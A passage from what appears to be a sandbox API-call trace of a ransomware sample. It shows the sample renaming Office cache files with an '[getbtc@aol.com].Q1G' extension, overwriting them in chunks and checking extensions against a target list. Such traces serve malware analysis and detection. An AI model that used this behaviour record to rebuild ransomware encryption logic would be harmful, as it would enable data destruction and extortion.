users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0040.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.630] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0040.630] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0040.630] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.635] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0040.635] ReadFile (in: hFile=0x198, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.645] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.645] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0040.645] ReadFile (in: hFile=0x198, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.661] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.661] WriteFile (in: hFile=0x198, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0041.149] SetEndOfFile (hFile=0x198) returned 1 [0041.149] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f10070 [0041.152] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0041.152] WriteFile (in: hFile=0x198, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.154] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0041.154] WriteFile (in: hFile=0x198, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.160] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0041.160] WriteFile (in: hFile=0x198, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.162] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f10070 | out: hHeap=0x510000) returned 1 [0041.162] CloseHandle (hObject=0x198) returned 1 [0041.729] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0041.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.751] lstrlenW (lpString=".doc") returned 4 [0041.751] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.751] lstrlenW (lpString=".docx") returned 5 [0041.751] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.751] lstrlenW (lpString=".pdf") returned 4 [0041.751] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.751] lstrlenW (lpString=".xls") returned 4 [0041.751] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.751] lstrlenW (lpString=".xlsx") returned 5 [0041.751] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.751] lstrlenW (lpString=".ppt") returned 4 [0041.751] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.751] lstrlenW (lpString=".zip") returned 4 [0041.752] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.752] lstrlenW (lpString=".rar") returned 4 [0041.752] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.752] lstrlenW (lpString=".bz2") returned 4 [0041.752] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.752] lstrlenW (lpString=".7z") returned 3 [0041.752] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.752] lstrlenW (lpString=".dbf") returned 4 [0041.752] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.752] lstrlenW (lpString=".1cd") returned 4 [0041.752] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.752] lstrlenW (lpString=".jpg") returned 4 [0041.752] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.752] lstrlenW (lpString=".doc") returned 4 [0041.752] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.752] lstrlenW (lpString=".docx") returned 5 [0041.752] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0041.752] lstrlenW (lpString=".pdf") returned 4 [0041.752] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.752] lstrlenW (lpString=".xls") returned 4 [0041.752] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.752] lstrlenW (lpString=".xlsx") returned 5 [0041.752] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0041.752] lstrlenW (lpString=".ppt") returned 4 [0041.752] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.752] lstrlenW (lpString=".zip") returned 4 [0041.752] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.752] lstrlenW (lpString=".rar") returned 4 [0041.753] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.753] lstrlenW (lpString=".bz2") returned 4 [0041.753] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.753] lstrlenW (lpString=".7z") returned 3 [0041.753] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.753] lstrlenW (lpString=".dbf") returned 4 [0041.753] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.753] lstrlenW (lpString=".1cd") returned 4 [0041.753] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0041.753] lstrlenW (lpString=".jpg") returned 4 [0041.753] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.753] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0041.753] lstrlenW (lpString="Proof.cab") returned 9 [0041.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.753] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=11482605) returned 1 [0041.753] CloseHandle (hObject=0x198) returned 1 [0041.754] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0041.754] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.754] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0041.754] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.754] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0041.754] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0041.754] ReadFile (in: hFile=0x198, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.760] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0041.760] ReadFile (in: hFile=0x198, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.764] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.764] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0041.764] ReadFile (in: hFile=0x198, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.778] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.779] WriteFile (in: hFile=0x198, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0042.000] SetEndOfFile (hFile=0x198) returned 1 [0042.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ef0060 [0042.001] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.001] WriteFile (in: hFile=0x198, lpBuffer=0x3ef0060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0060*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.002] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.002] WriteFile (in: hFile=0x198, lpBuffer=0x3ef0060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0060*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.003] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.004] WriteFile (in: hFile=0x198, lpBuffer=0x3ef0060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0060*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.005] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef0060 | out: hHeap=0x510000) returned 1 [0042.006] CloseHandle (hObject=0x198) returned 1 [0044.272] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0044.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.272] lstrlenW (lpString=".doc") returned 4 [0044.272] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.272] lstrlenW (lpString=".docx") returned 5 [0044.272] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0044.272] lstrlenW (lpString=".pdf") returned 4 [0044.272] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.272] lstrlenW (lpString=".xls") returned 4 [0044.272] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.272] lstrlenW (lpString=".xlsx") returned 5 [0044.273] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0044.273] lstrlenW (lpString=".ppt") returned 4 [0044.273] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.273] lstrlenW (lpString=".zip") returned 4 [0044.273] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString=".rar") returned 4 [0044.273] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString=".bz2") returned 4 [0044.273] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.273] lstrlenW (lpString=".7z") returned 3 [0044.273] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.273] lstrlenW (lpString=".dbf") returned 4 [0044.273] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.273] lstrlenW (lpString=".1cd") returned 4 [0044.273] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.273] lstrlenW (lpString=".jpg") returned 4 [0044.273] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.273] lstrlenW (lpString=".doc") returned 4 [0044.273] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString=".docx") returned 5 [0044.273] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0044.273] lstrlenW (lpString=".pdf") returned 4 [0044.273] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString=".xls") returned 4 [0044.273] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.273] lstrlenW (lpString=".xlsx") returned 5 [0044.273] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0044.273] lstrlenW (lpString=".ppt") returned 4 [0044.273] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.274] lstrlenW (lpString=".zip") returned 4 [0044.274] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.274] lstrlenW (lpString=".rar") returned 4 [0044.274] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.274] lstrlenW (lpString=".bz2") returned 4 [0044.274] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.274] lstrlenW (lpString=".7z") returned 3 [0044.274] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.274] lstrlenW (lpString=".dbf") returned 4 [0044.274] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.274] lstrlenW (lpString=".1cd") returned 4 [0044.274] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0044.274] lstrlenW (lpString=".jpg") returned 4 [0044.274] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.274] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0044.274] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0044.274] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.274] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=2928955) returned 1 [0044.274] CloseHandle (hObject=0x198) returned 1 [0044.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0044.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.275] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0044.812] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.812] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0x0) returned 1 [0044.812] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.812] ReadFile (in: hFile=0x188, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.816] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.816] ReadFile (in: hFile=0x188, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.823] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.823] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.823] ReadFile (in: hFile=0x188, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.838] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.838] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.178] SetEndOfFile (hFile=0x188) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0045.182] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.182] WriteFile (in: hFile=0x188, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.183] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.183] WriteFile (in: hFile=0x188, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.188] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.188] WriteFile (in: hFile=0x188, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.190] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0045.190] CloseHandle (hObject=0x188) returned 1 [0046.129] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0046.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0046.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 